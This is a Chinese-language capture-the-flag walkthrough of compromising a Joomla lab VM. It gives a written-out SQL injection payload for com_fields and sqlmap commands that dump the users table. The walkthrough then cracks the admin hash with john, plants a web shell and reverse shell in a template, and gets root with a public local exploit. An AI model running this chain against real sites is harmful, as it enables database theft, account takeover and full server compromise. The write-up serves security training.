内网探测找到ip
访问并指纹识别
joomscan扫一下
得到敏感目录、后台、及详细版本
google一下
有现成的可以用,相关复现请移步https://paper.seebug.org/305/
payload使用http://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0)
sqlmap -uhttp://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0) --dbs
sqlmap -uhttp://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0) -D joomladb --tables
一大堆表这个#__users表查一下
sqlmap -uhttp://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0) -D joomladb -T ‘#__users’ --dump
格式真乱。。。。。。。
提取下有用信息
sqlmap -uhttp://192.168.1.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0) -D joomladb -T ‘#__users’ -C ‘username,password’ --dump
admin:$2y
10
10
10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
提取到有效信息john一下
关于mac下john的安装及配置请移步下一篇(有坑)
得到admin:snoopy
尝试登陆,成功
尝试登陆后台
成功
之前joomscan扫出这几个敏感目录,重点关注一下
是可以直接修改代码的
根据目录结构尝试访问
http://192.168.1.106/administrator/templates/beez3/html/
那说明这里的templates目录不是administrator下的,应该是这个cms单独的templates,访问
http://192.168.1.106/templates/beez3/html/
明确目录就可以写一句话了,写一个反弹的也行,事实证明反弹一个更好,在使用蚁剑连接的时候提权未成功。。。。。
一句话
蚁剑连
反弹shell
得
cms后台systeminfomation显示操作系统为ubuntu 16.04
google得该版本可使用39772
上传、解压、编译一气呵成
./doubleput获得root权限
移步root目录获取finalflag
!!!
小结:熟悉了joomla目录结构,及相应扫描工具,这个靶机主要考验google能力,都是已爆的洞,没什么难度